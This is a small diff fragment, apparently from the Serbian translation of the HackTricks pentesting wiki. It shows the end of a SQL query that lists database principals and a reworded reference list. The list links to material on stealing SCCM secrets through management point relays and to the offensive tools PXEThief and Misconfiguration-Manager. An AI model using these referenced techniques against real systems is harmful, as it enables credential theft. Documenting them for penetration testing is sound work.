SELECT pr.name
|
||||
FROM sys.database_principals AS dp
|
||||
@ -149,7 +149,7 @@ abusing-ad-mssql.md
|
||||
|
||||
|
||||
## Reference
|
||||
- [Želeo bih da razgovaram sa vašim menadžerom: Krađa tajni pomoću relja tačaka upravljanja](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [Želeo bih da razgovaram sa vašim menadžerom: Krađa tajni pomoću relja menadžment tačaka](https://specterops.io/blog/2025/07/15/id-like-to-speak-to-your-manager-stealing-secrets-with-management-point-relays/)
|
||||
- [PXEthief](https://github.com/MWR-CyberSec/PXEThief)
|
||||
- [Menadžer pogrešnih konfiguracija – ELEVATE-4 & ELEVATE-5](https://github.com/subat0mik/Misconfiguration-Manager)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user